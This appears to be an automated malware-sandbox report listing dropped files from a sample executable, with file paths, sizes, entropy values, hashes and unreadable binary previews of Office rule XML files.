Preview:	<?xml.... ....'..8o.U.........t..W(.&...9..2ed.\|...m6]E9O^,.=..wV&.....,.J..9..P=...OKg...:q_....7..T.Y.l.............K.....[..L.....7....f...5(H\|i-zAMSeFK.b..8.;...)..7>\|Y\|..5......`.b-.P..e5.?..gH../0..4.V...2N[...... ..W3cc._%.)..6.6..+..i.+h\|.-8..+`.#.B...........5....:.2.Z.\..LD..d.Q...b?@)......Q...............>.3O8kF..6R.$d..b..B{....2qu...I...7.G...2LWH...J..f..;.fIO....;.T..r..3F.v.....v.=/.!..iyu.....s.]r...h........n_Z...c......s....._B......4R....61....M.Z.:z...~)......<$z.......E...o$.. ...^..o.)PP...W.~....&.L%S?..<..c;.,l.A0.!.Qp.]...DD....\|.n.VD..q..l,..k..P1...3./.X..V..)..06..y.v..Z>]..R...m...Q....N.(L..q.?l.,......7E.9...\|.OA.*..\|..U!.j./.IDzM.E..(C..N\^kJ=F~$.5.^.......HMw.IT.... /.C...o....&..p.ues.......@.N....t2..z.aM......Ae.,..t..]9....E.d.+..t.Aj..\.............M....}..Re.:..._.oG.^..H...........&%.}&.0..f..z....}m.i......`....%....n..tMz.cK.kH.N..s...Qa...R G~...\.......a....?..!1...a..0..Y.......O.E. +k......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703551v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1742
Entropy (8bit):	7.875876441501462
Encrypted:	false
SSDEEP:	48:ApnBRgQH5JMbg04Xnkzgz4nthofxQIO27B/psfd/Cp7D:An1e5+Rzaz8xQJepsfdW
MD5:	731B65049C671BFDBB7D52D769C4CC4B
SHA1:	AE815C8865F638ED5BD2C88E1FFA8D9C874BE36E
SHA-256:	F1CAB2ADFCD19E774923CCD9B15B84FB39B6B7AA23692566897CF798F4497F0A
SHA-512:	A21B463C3C9B983D23B5FE84B0F4197282E9970F81E5086BABBF55A5B907E402C17CC5CE16BA6BBE09085B8A7BEE46F13D478A08924A1D340B27D7B97E8C48B5
Malicious:	false
Preview:	<?xml)..g..4.....mm=j...7....v...a...z....0o.......A..R...Qj.c[=k..tay................(...a2......N....H..1..-{.(...OK..,....Q2..g.....^...J8;...{.N.....7BJ.h..?.q{.@.......m.....\|\|.z.....$ ..)?. ]..{..t....c.5.23....T0cK\|%....HZ...,.@d..w.V?h....;+.cc8..n..,....'...,......"S..G..\|.ae...JVGe..A<.~............DT....E.F"..v...7.=s..t,E...An.\|.Y_..v..ZYY.B.m....A...Q.O(.....S...m.@..V. ....4:...1.cT9.$g7.L.6..&.>.....]....<2..^.Z-....$.o=..;F8.G.U."T...d .#0n./.y..{x2..6.c.B.F..f..[,h..?.}.MB..s...d..qx.7t..c9.H.....BkE.7.#.0S]..3#...C....1/J[..0V.`.H.<v.p.....t."..S..,.<.Dp.Gj.i.po.e..H.X$..-...V.^.F'...QZB.,........>.L....6.l..M.A.B..7......;9..0..'>.2.F...k.Q..M@lf..p.n..........0..>......X..Y..K.zK..zKu....Q...f..8....\..G.,..8.Ap....[..3.r.\z...c.:......$.X.).s.We..F...; ....d...F9....DM.R......kN]...0X..A..#U...o.W.K..[.FG.......A..N.R....Df\o...V.^.g.@ .I`...e..N./..M+..=...R..p.<@..(eW.ql.o..7....$...x.....\|.......I........;^.7

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703600v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.875820216208742
Encrypted:	false
SSDEEP:	24:j4TFT2Jzi9sM0LUoWyXkJkoxvVLKANNdWJULKwlBM0xD+PslcO5VDu5NwkmlTHIC:Q8Bo1y8TxBKAzd2UjlyP9O4jyD9vD
MD5:	459FEF49BC90D0F5F1F1FB608EE6979A
SHA1:	5E678B371708BF3F56E29FC575045A8112EFFD5C
SHA-256:	A8F2093B4EE733CA5AEB98D3A8F99B89345DF4BC81F87B6779B36F1105FA5DFF
SHA-512:	AE1290C2BB392E580E92CC5035788E5AB08C43EFFA01CFE0146F037DEAD7B0A0AE82AB0148D77165D57CA6BE68A6041BF7E99A8DB0093E9461891E84BD1A874D
Malicious:	false
Preview:	<?xmlL.N.1.5.j.V......DY...x.....h.W..2.....N.eb y.i..e......-.).....6..r..d./...{.=~.J.^'dy..G.6K.aH..p39......W.}).+. ..$.=........G.....Ye~..?iE7...w..}4#..t..,_Y..4c.....06.{.....1..t..y...).G.Iy.:Pn.DA....mRt....F..z.Z...:F....4..."Z...es...p.\|.D.1.7..s.q..f.H?......g.GY.i.lz...h...s...#s.i..`.p.(....`..0..,...K.`.d&....(V..-.{.W.G=.lB?....C....?.5W~.a.3.,.Y:r....w\|=..w..s.EFZ..6yv.1...\|...... pp..b.B... .....l.r..2......~XW...`........YIn%U......\|.C..\|..4.?..).......r.<aB..VpJ......q.X...Y2.1.....T.edf.z...u}..O.......+.6....r.....-..cb.t8-T.....H.LS..JZ.y..:..}.r..U..}.....-P...+..W..b.E.b....E...Qq .6N.U.&y..S.k..Y!&L.@......[H.3;...zef..6vj..s9,!.}N..ae1...K...V#I..L.....3.;.kR...b.D@\|.eJ..:..c.s~c[..\....u."..+..P}..7Q.;.R..r...&c...%...5.....(8.0..G..z.DR.......2/..\|.K...^K,P....ji=..e".O4....`./..3.}.}g-..z..".H.UjM..SA........<)...^.....M.X.\|e..U..I..Y.-Z.....h.;k\B.@.-.@../.g.......Ye....@....Mo.....$.(.o.d.3...P9z$.6hX.6..x<...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703601v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.8861462049870195
Encrypted:	false
SSDEEP:	24:Q7M+vHpzfRDCUmDHTH3KQy4O1GmfObCs3gp6Eb25NwtgHJZSGdJBxRGGbD:QJBzlCUY6D1IDdTwCHJLdPD/D
MD5:	4E8E0A5E59F552A13217555A19FFE033
SHA1:	6453A485E9973A54C1F8CE6E5868C2B5944693A6
SHA-256:	081977572F36919F48864D86C62D5CFE4687E93E1440D42A897EF4225965FF91
SHA-512:	B30FA7AD8A10CF7EBFE2006D78CF36BE3A5532811C2D92759C81E33343B6435FE79021E86C6A361C752AC2874A174F31F3423EC077F3DEF583A6867FD29FC3A2
Malicious:	false
Preview:	<?xml-..R....8..D.T.i#.7.?N-..~.D.3.<v...P+..X.%..Z:art.r.g...4..g/.~..b...0...%:X.\.a.......M2..7%..<..8..s.4...f.u.._u...n_....\&..;...\|,....a.T... .L..tl.&.F....8.t.m.^8w..}...s..rw...(.bu7....7.6..^........\|E..B...2\|>...{g&......h.m...f5 ............e'...........E<...'.>...@.&.....H....o.B2.<4xF....<qN=6......M.NFj.).H.aV4.c..~]...\\/.De...p...d{ ....D<..BJ...pz'..w....5.?P......q.o......!.....XPC..}.i. .._q.f.Pz.K....yV..3.C........]/..%.dj.:.&..j'.?.w...o..G.X.=.+.U+}....E>O5..]..D...:)..0....=i.;.....V....EI6.....s..'.M..8..e......a...Q.7..GUS.....&&...O%U.GK..}S...,.......t...2.nj~...)1.`....@...+....L.....0.:1.C.@`............<.]..S.....j.&..+wO...).GA,D..<N. .z.4v........v...zK...d..l'".w..._..P.[...Du..5oD7..\`...dB..eP..M......H:.f/...!.....^.#.e...,'..#p.....lmsA7.T.;.].Y%([/dy)`..T..n.....k....f.\|:.......5=.AF.`..+eA..... b.Ry..-.s>.n.t......5.+K.;......T.Ka].WX..xDR......._...Z.mt.,.......O\..b..i..U0.'.7....0..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703650v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.864473120156777
Encrypted:	false
SSDEEP:	24:pxxJDZrlNzcDN97St/X1Sa9rmFYApNxqE2SEc7m6UDhFzzYy0ClcebD:pHlNEWVlSWKFYAYJc7GDhV9GcD
MD5:	EAE47502BD9637141EDCAD58F7FCD6BA
SHA1:	02EE3BB7E91D72C381F29EE71EAA408F5CB733C3
SHA-256:	E8DC21F6DF93C1A42A85C874DD8250B2FBBAA6EF5CC1902A66E23B2B0E95FDD6
SHA-512:	50C83BCC930B3774D94BAC75521BB81ADE78F4142501AA0BFF064970CCA4C5EAE590240A35D76BF4B31F98693895F449AFA940209C5CA9E41A5EFB6026C25F12
Malicious:	false
Preview:	<?xmlw-}o.....K......{...F.z G..tuL...}...=..)..;B).-......8.!T.'...N6.N.......P.e(..}H.\|.K..{......?..O.7..`a..}......^i.(.T.J.EO......%......yQ$Dx...t-..Y.k.$Md...m{n.....<.j....S.....8N....i...3....M..R4.F.Xf.w:=..w..H.=.....[..i,.S.i..K.(....G.....W...Q%.....F.....o...&....X..X.4....\p[..~.y.V.....^^...I...\|&<...h:V.M.X.q..N..h:.S.>\|....L9.>.x.v..,...>.r=> .K N.r...4T...ADr...0U......;..1Q.e.....eA.<..Y...<......z..........[.4.z4g.OV....\|...f%.<..a..%G.....S...m.E...q...J..~...u..97J..c..L..z.'.......Ba.......p.C6.`...!.eS....BW.$;.lR.0A\|.QMIU....=...{./...PF`_.$+.....Xf.....g.P.pc1........x...M.5U.......>..S?..m..g$.W...C..U.....\,...b.....m....;.J`.y..:.{P..3....De..!...O3.L.P}f4q.q....j:......T.G.MiQ....!.H.=e.ln5.6...y....w)...>......+).d.!...J.=GX.WR..........2..s...+S....bE.5t5......71.Y.hu.jg.:).*AR.aa.....5......X.?.._...X.<....z.aDoT.....v.=.......kr.J...J.)=....F...3R..=..N9....uq............(.V.t...\|.\|5

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703651v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.87398253268881
Encrypted:	false
SSDEEP:	24:xzLX1ScD+jzJctiAnQ+SO6lQBxlv3FiFWYxEBpNUSFJien3CfZAUR8qtNSa8uPf6:xUxjzJV6QHbQBxKfSfHQ8tuPfGD/D
MD5:	8B6FAC374606D80627633D2C8E73FF9A
SHA1:	57E8EC8FCC4B3F3CBA15E396B970D0723FC49B7F
SHA-256:	36597863E1FC02350E6407BC5973A8001411084BD547E08C46B66298ACBD3D74
SHA-512:	C40E4807AC89FA6CF39E38111AFB420A82A13BB46563B6ED110C734A691E83CF21F132A3E2D9F13D9B746612975871819821CF4971548735D3F8EADE0725B6EA
Malicious:	false
Preview:	<?xml.Y.CV.......N3.X9..m..l.{.B.........SkD..]-.....f.......G...l.....].Y)..!......4....~..].r..6...DR....3T,dE....5\|.....:..].b....D....v-..PTa....,.x..piv...].;.#.....5.Nx..V.=..+.{...`..../KQ.......L6......q....&,o.F<..:..f.n..e.R..:iBPyl6..j.4.m...i7.O$..X6TH..~.jy....Q.Pa.N.:;..?....6.m.e.... z8..9..m07..... .z....s...!A.&....;.Sv(......x......y.b..d.?..G+....5.,D.yd:.A'.{....D.$.U.:......U9....j...k-/...;L..F.z#.2....p.e...j._.,y4.@.n...........=1.MoJ-...............1.)G~u.;...q...._..(@.........(..jY./..>...9...h>..........j...s...+4z...+k.&...N6..3.x.;`/....a}8..#...1{...E...d.V...{......R...$..K{P1....&..".n...x.E.3.E.Le.Pg.h.[..QzQ....e..2..-.)(>...m...iG...l...no.y.=..A....yDm.."..v3l.\PTb. .t......*R.[...#F.....j}.!....KL[..a.......N..R.Mw7S.zWy.9.Vb7.r.1k..]V...6.H....ocu)&/.M.sL...[.h....p.x........c..(...&,eiu.{..............WK.....bx.p....9...X....v.;L....\..3I![h.Qf.a.DF.... .u,.i.....[./U..U$..San........'..4.l.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703700v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1711
Entropy (8bit):	7.900409778474659
Encrypted:	false
SSDEEP:	24:1bOsG1tvrZAKvrjxHBMmmb54llBbBNKsGKLF71M41DFQ1IduX3HnmtsMDZ6JkKzp:1b5qtTSKNBML54TAhK117DFiGZ6JfBD
MD5:	748DBB4CCE143AA94B6F162D9E27B596
SHA1:	B7341AC6045720283AEB3462EBB28CFC4BBA7552
SHA-256:	7C999C14E65DEAD53B9044CBD46B07C2A09DC9665D46963258E21424F638942F
SHA-512:	DC90C598899EEBC3ABD5285C987C4A52DB2CFF8DC258B85100D5B2A2E528EE80A1F8EE7769B85F20D7433D9E457C651C1E39E7F67193539EE6678978EF5F9129
Malicious:	false
Preview:	<?xmljL....Yr.....Z..BV..%.?......:..S...M5=....k.J...:...l.6....p..rY...@...Y.'.D....(..KW.K....v.lh......a.A..H.........\W...)\|...Ey.)..k.N....3.T..l.. ..Q..~.}.!-...~.f.<g)..cg.o.%...S.r.n...>C!..........hj.NyB...9..y<up...1..:.&.9.>.C,..T../.._..t..>..c.6W...Q....m....^.n(.J..^.w.)K...o"......o....j...SG.k..............~^b.-y../k)NB@.!..Mvf..(.~......m.`.c.w..uR..... Z`:......W..@...7....N...T...j....K.{...E...j7q<.....h,.\..g...+.2..L...eX.P..=.4G/...fe.3.%T,)...f..Hv.n)..L.P.l......OJ.,.X..\|...........;......T...v.....6.Z...H......U..B.....\|.C.d....G...;. ?......K.s<..Cu.1_......$:hI.I..^..C.."-.J...pO.`..&w.....-.d@..Ua...+....O.y..QI......m.{7o.bg.M.q...V...../@..s.u...........a..\..o...3.9..Iu.r;.W.)pDud.\|..j.Q.S.G..F..).H.R.j3.......u[.y_.X..vR\|v.K...[[7u..'..w./..I..;..Z..4.a...........T......L........A.....$[..2H.s..,....Bf7.u..).^@....Z........U\|p..O..2f....ZG.Ji.....'h.\.X...;....a.....ZZ$(..@...j..jq....O.e_.\..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703701v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1748
Entropy (8bit):	7.8987801042541745
Encrypted:	false
SSDEEP:	48:9sgMHX9X/vZ3dFkSHgEKDjkRHdjoUAqrnT6vxoYoyoLgHD:GtFIETEb8T6apyoC
MD5:	0E351F94A8F3DF81718D9F6C36E91B71
SHA1:	3F024ED6C395481648F818DB831A4D52A5F5EDC5
SHA-256:	F91066F399BCB525C7E5753E50FAE28ACE1A6E91EEA2F574B321175340D9AE1E
SHA-512:	A58011ACF3F340E15893371903DC773B998A18D0935289C171BB1C12A5C3301570418721572D680F7E76AE39C1FEB021E6823F2BD54299180416CA2A9F279DF2
Malicious:	false
Preview:	<?xml.gf..']uFF...^.kT.TY..k8..MV5....JJ.....=.2nCF...:7;".%.y-.......#a.....b(I.7..a._.._.....#z.,....4I}VI.h$..9...l=o....g).!z..\|GXu;4=.......,.e=.. .......8....O}...V.#.....=.8...d..X........7,.'$..Qz9..W.m..+.E.<.o.E..L.+.}Q...;..".?..%.h..mLu~..}.<...u..c)#.O../..0&.a..q..P4D./......U...@..N..\....2sK^....2...^ ..-v.}...r....../~=.k..........j..,A@..EA....E0w..E......cR.5.#;.*6.v..:p.......#.....+...-........kA....0ncK0.R...+...w.....p.V<.^D..N..5g.<.....u=8M.......u$?..X.a0i..,N..t..\...T_L.!F6..>.G.>..N.}..h..hp...XHMQ.b..?..z=....0...}C~i:..t.......+..T..Ur^..2Re.{.o....s...g`......@(..I.8I..5$.B........<....$.$(.....1..X..5.`.V...8.O.B.n.U..SDM2.?......b.{B...=x?..A..jv\|7b'0.i.,./.Q.l.=...2..F&iJ...8 .O...J..H(~\|.u..8.[..$._.T.{.u.(.'.........4~.....>......M.....2....{G............o~S./@...R.J..9..o..6.3......6..Z.......wPv..\|r}zZ......a..f....+..@.+...8......0.d.OD..R;....0..k.5x..k..R...f..e.ve...H.:\|.o/..{.g........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703750v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1733
Entropy (8bit):	7.871452016879051
Encrypted:	false
SSDEEP:	48:5rri73jz2bHOoJUQ/UEKQMpRc/gwzRQ/dZ5D:JinabHlJUQsK/12/9
MD5:	61DD69186B8CD21A609B453193B879DE
SHA1:	492B81551CF85DED713367483BD319F34F3F0283
SHA-256:	E5FE157C0FD0E5B79B4F78137634CBAA8F9B126AB43A503B7A335CC9EE163761
SHA-512:	EDD00C1205B290D2C49FBAF17C4A5221F8CA5D7FC1EC92261A21E874B46BF4F3CD7C6FA7902EB2A24BB0A417047EA1E12BBA03E6BC4688A5A84798547B6709E4
Malicious:	false
Preview:	<?xml.[..........4=...6..p).....5].pJ.\|3wN.._..5)7.T...r.:"qg.}.s.g.N...~..?._.>}F.oLAx......8........B.....<.e'...5./R...V..'.X....7...D.+.R.........Vbk.3..S....%r...}e.i..........6C....oy....,...P.......".lo..IF.....6..o)..(.....+..5.K....W.E...$....Q...../V.I.FNM@.1..5....<.J.J...I. t...j.CUs-....KS..M.._..7.=.(..,....#..((/r.....1.+.~.....FHEm.YW..1bHX~q..k.....'..?6.8..P._.).=6....X..R..EH...YL...'...."n.IiS.;..1....yH?..h:......Pp.&.`..R.....\|%G..m(.,mW.e.....K.F5...7.\|....EW$u`..x..Qq...w&.Qf.]....cCk...^... .v.o..-C.AZ+...x!.....?..\...Vi...7..RT.=Z...<...r.T.....N.~..........&.4.g.8..ADrw..aT.g..mj....l....QH....Q....D...tl..-w...b.^El..)..4G..m%......[...N...u\|h)5...~"...U.e...5_q....n...@.......T...a..QM.Gb......\|0X4.jS...7...~.pL....H..{/....I.6.c.'..(.....n......}.Gz)........N.6.O$..4.....(.m.H..C.../Y.!d....e$@U...S..Z3..W.jV..".zZ...#.2)=.8.=.._oN.@.N.....Ch...9i ....V......P"bP....>."..u.`..lW4........\|.f...S.^.o.6mOg

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703751v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1770
Entropy (8bit):	7.912878346114282
Encrypted:	false
SSDEEP:	24:E7NIVlEyU+yCKEQphMbM+2+BuADom4N+SmydQCkFQR6B4074Y8zjtwhM1XcR09Ng:gt+wEQphFbJeKrdQDEC407GjtX9F3zgD
MD5:	A359C5BD2D3D529B767DE11BEEA28B68
SHA1:	599CE23A416933C7AEFF834139C7A8F5BB834C7F
SHA-256:	4A95B93D44EE0583FDB0618C0CB8E4D9B0B714E89A5826490A4147665AF6474B
SHA-512:	0C92CC58AC5A8930BD7839A5F8741A2988660190B581931F9EA9421D5C578B12D052688611336CA57503DC87537C9187C94BA1F31109451D637E9F938A16AEAF
Malicious:	false
Preview:	<?xml...P.\\|.b..(ec.......p.8........!/..i...c.[.m.$.?..A..g..M...1..(NW.w..E..EiBw._Ly.#.\|VCE..a.M.....%...[."...c.L.K.9..s.Q...0.s...W.<...vCu[K..T.........-N.E...>6_....y..py....V#.x....M=..I..r.+..Q......m.W....sQ...F;4.X.-. ).R....Pe...l.A....Np....44)&..h....mX,.......]&.p.5~..Y...3..rKu&..\|N..d....D.....q,'..)..:.]vm...p.e.[.9..w.lo.6....l....b:......\|+.$C..X..$...n..o.....P.N.....2.`... ..q.A..p..p0RR}....K(......@bf..'..@...X?;FT....1..C^-+T...q.....Z.}'M..bT%....7...[y.....gt..&.......n. .Lm.]....\|%.....M...V. c.l..w2..O........8...>.'t.H.v.U$}."P#c..2.N...\|...yfK.o_Y).Y.d.H8..c^.RS.L.b......Q....E..7..........=2P...4....{..\<.aa$..u...:].o....o........h.sE.Od`...uvg.....n!/.....~.'.".TF.h.f.a...:._ld.O..a..e.o...vV......Q.].F....H.z.......K....;.'.._..;..\|@.<.a...Mh.U......q....i.."..8]..Vt.r..$.kT.S.=a.W..q6....;.%.&Y.I...=L:.<..w.W.......cL...........[.....4....8n....j......,-..a.R.5........Z.?0.#...;.5...H/?.. ..#..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703800v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1715
Entropy (8bit):	7.870845930026486
Encrypted:	false
SSDEEP:	24:XRknpXxHqi9M+ZfCJx9miNkCVLK1Pab1V+wGzYFRgupaqVbdKBuhGEVe+K6LePoX:h2xqc6D/kCgAIzcRgjqzKBMK6LePgND
MD5:	8502848E5EBD48E32C454A2AE3A972D7
SHA1:	0D22954DFFE303E376CE429C078045A2DFB0CD0E
SHA-256:	B9A870EFA889A8DDF242A002B92DF0692275D843A607380F3AAC8FEFA1325C8E
SHA-512:	3B1FBF827BBF6CCCB4E7003A3F9ABBC2053965DB0DFA64DF5D3BF2989F7BEDD41B048A15D82C9F477963B6C9797263240E042ADF80E85D0F913CEAFA0226F094
Malicious:	false
Preview:	<?xml.`cu.f.4..a.,x......D#.De`..z...... ..^.............i.......E/...6....w.f...j...YK....L.wfOPG..5v....1..Y..&...d....R,...q.7.}..?/O..G..^".Q....m.Qw......b...m..j`.K.....).t..k~^..7...j".].x6.Ez0.s.`1....Agiw.T..l.M..e6.>1,..{......w..b[...+gLM\|.M.....c.D{..uM.....u...O.ZA^......4.^.^.r!.:b.k..S^ B.M..%..:.......;...-....'.........>I.Sv..>.........H......../.O......9E..........p.M.D.b..`...:\.;@...Dd.s"..1.....@.h..zE...ZA...t...v.7~G.....@h.F..?&......_...u.(.u.'.m.Z......Gg.F.al#@......Dl...?.P.z....q.).Yx.^1...{.n"D...M...G+........C.O.......uh[.1..............D.Dig.C.N..$.S....{..... ,..#.V.Z,.8.V....U.E......@.eR....r.'"...5={Jeg...1.o..gnt...4.v...G....g..d...R&..\F.=.ktU.2....I.......n.3...i.8Ev..H........t..c.".G....FT.....j.8.!.S........m..`a.....(...(....\_......?cZ....&P.%...,..*.54M7q$&..ud.X&..`u......1...E.U.N.].?25.x.vc?N....Nr...F....,.."...U....\...?.D_.....~.g.....7'gDbl.p.90l.QN....`>..?

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703801v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1752
Entropy (8bit):	7.901370038057747
Encrypted:	false
SSDEEP:	48:wRO7u8TYCrPUwkusPyKEv6Q5L+QFzzlGi9W+zEdl9D:c+YCrPZEP/KJ+/i9WQM
MD5:	E6D9C0B04F537D289CBFB9DC8E215F3C
SHA1:	2195E31CA62F70B345D89103C8360337CC35C8E3
SHA-256:	235751BFEDFD806EED3556FBF34C8444DA3FBEF11026C691B3D8F29D3F1267C6
SHA-512:	D1CF48799612A4C7A578472BDD9208DEDBA00D6E9BED097FE85195117C0F9B29A91B983021CE175AED0B843F6D8196945A9951A520E0C65600504022B7E54550
Malicious:	false
Preview:	<?xml.\L$w.J....X...f{.M...5.3.Y..I...ZH.0...1..-....w..t}.....F)..\p..b%....x...S.}.wi.%^x.z..n.h..B.;. ...T.bNl.8(.T..v..._...]..&..R.......YD.f...<.t.....F.\. ........M....q...JhyQ.o..U/.l.R.4P.li.....o..u8\.X ?....r?...k.....d..{.K.$E.8.l..L.1..}..G...PbT.L ....}..co....]Rf...Z....F- .7....>.+...iE.....S...Q.........s....fq..QF?..R.A-US.......7.e.P....#CW6........{.`.R...r...^y...."..I'.....s.v..K%..."..&.c.>m.lMn......Z...m..B..6~.2..:....mEe6.V..........O.e!..v....... ....V@._.8.....X..[...p..H..C.=.H/..z......&c..oc.:.>.5pw.m..O&..G..:..J.rn..O....hwvY../........_On..L\|.n...O..:........1.A..z._...i{yKp_t.t...D`.T..^.1.tsp.x..BC<.N..E....40....;.+..Y./...Y.t...(OD.K...6.....=. ......gV.u..XJ.6d.:.aNhJ..../m.l;..F...T#.L9.R.,..a).s_#.......n.a(^...%..S......K'.....c.1....'...zj..p..>N.j.}...,f....+l.`ds7........-....;[?].>.......}1..4..U......FsB)..(...'2iW..WK.Ny..{._x..w.p.......s.\|.{m]_6.G..E#..{..N..Y.^..g...K:`...O.dn.N.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703850v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.884466387024084
Encrypted:	false
SSDEEP:	48:96oC9NRn5nrqEIPqy0YFESgoakIC5xChfXJG6vBD:9g/Rn5OEInEtnqChfXJp
MD5:	A65118A580E19D07F1412D5A38ED8459
SHA1:	1DC6480B170A45E930AAB59A093BF6617951C4F1
SHA-256:	37DB699DB658D3AE3D9CE768FA0AEB654350F19CA2868E150270EEA2C49C9599
SHA-512:	5540083C05A56730281CED30C75F6CB526C932988644D116E104D17AABD8313F32D153BFECCF143557B89C0480080698B8312F72A58358ADB84A11349E9C5FEC
Malicious:	false
Preview:	<?xml... .r..9R...K!1....n7...ziA.X...M.....B...t..5.P.oN;]\.......O..p....k.Pa3'........NQ#..8N7.$./......?...U.e.....RL)l............3.c..S...t....##./..M.y..i......X"......s.<..".e.u.......0..1N.... D.O...,.gi.4#.+..@..cx..h.....C<..n.g..T..G.{.cI.B....?14...%.V.~(.s`...a..2...K..;~...q...we......z.w)3..L..F.X..I"$.K..X....@...!:....'...%'......'..f.'..u.'Hz....f6h...5...OY..k8..y#E.x....%&'\|..:;.RV...X...`.T'vKN.p....')U.6....:..\|.o.#..'l..........<.^.........4.>.QQQ.j.1.+...9%..g]4..ST7......\.WX!\|l......;....kb);z...7...a..>...~..7[......]C;.M.3.A..)).T..Vz.$..-.W...C......m.]...R..c.:z.2i.2h.O............xt.....b@O-G...j.J.xU.}..i.....'g.KA....p(..l.W...X.fw.....V.....I..4M6.......2.].@\|..hM....q..._..H1!*.)...D..w......_y.3Vm..[...Fq....nw...IL.....15Bt.r.g..v\g.......A..;.I.F.."?..,....%:.#.c#%F.....Oh.Zn4.P..7:.......i..O.Mx.g}..OQ..D.]..a...ZuP.AQ./.7....tX....i.J.H\..[.s....._...y...R.-........<bd.+w~.d..;.8..A.IL.v.P..S<T..% zN.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703851v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1775
Entropy (8bit):	7.9046834974516225
Encrypted:	false
SSDEEP:	48:W8+R3OTop1oDVOQ1WMz82H4utNB72bh4Pz/BDPRgD:WpR7p1oDVOQz82dN92IBDPa
MD5:	AB9C29054AC09A6EEBF01CA09F6A5F74
SHA1:	219E308266C5B5F0E7EB97CE3D2ACE73ED14CD99
SHA-256:	5C7983E89D86B908BC5E77A4F583E35F2334EA5AC399C59F61F6AF8D81CB2D01
SHA-512:	EB34C85FE02A960F747715D46BEF4BC72470C81351E59566AFA089A9EBF0F70F911B875B993515EA752746B927914E059F46C79820E34836E15C75C59D0B227B
Malicious:	false
Preview:	<?xmlC..o...[N.......g.(.;).......nw.k_...Y......Vh....#jq...&\r..e6.....W..(.%..r.........h6p.N.o..S.<s.P...9L..B..>$.L\|...7..~n....#N'..:......p..@..4h..,3..oC..1.+9...qR...AZ...nb...<..8B4.N.....M.\..fF....(.yYW.s..Y.c..L.w...,G.i...G....6.F....=PJ..r<......!....A.wx]s.(I.qX..b#......j.+..x)......@...<...j../..pl.....K.7....E8>.C..:..3hk..V...nV!...t....b.....h<i.G.....Q...}ke.@).V1...~$.U..._Hr...k"..$.........E2:..;(..3E.r.~...(=.1..T........q,i..x.......b.......9. ..K.O..U....b.^..(..e.....v=...}a...P...K.rp[l.d9.)[.v?..5...<...%;2.n3....i......P.]..a=..giSx.z.?...fG..$iDR.k....n....!....;#z~..U3..>]........~.....D..m.&.s.}....(...9...9...=.m........^.x...j..W.X:..h...>..y.v....O...5k'..fO...k5.I...].......G"....G....u.'..._..t..K..9-d..y...Gb.O...mq.....K..KA.....`...b..%..........t...3....s.}.?;}..-...;...=.#.5.......0.....[..U9D8.....1M.u.'EP......(S.gYb.....Y...}.zHo...b..Pv*.2.<.n.....v.\|_.....M.x.....VS...3..c.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703900v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1723
Entropy (8bit):	7.859879652882389
Encrypted:	false
SSDEEP:	24:Sz6owp7TFzMnMuNZkc4wH+zZgwnmIxd4Zs4ROK5HfnJhZS7YEJhO5/egJoYChCyX:62MMYZkc4u+zZZnxdFw5HfnDYzgWHhjD
MD5:	5062AFF4981FF8AF66F1BB4ADCEC1E5E
SHA1:	A6BB1696B40809856994646C4749C2C8CFA00339
SHA-256:	0AF95A89EBDAA4EA2425C6E4EF1C1A924D3C4E721C7D796AD5FAC74550C9EB18
SHA-512:	4C72BB778844C208C2A898CF610B6AD35A7E10475F45DC607993A22D9C4DD8DB4319E3E6D0B6DF0D3DC2D00C3008186DE3F558CBF99D38608743CBC6AAB015D2
Malicious:	false
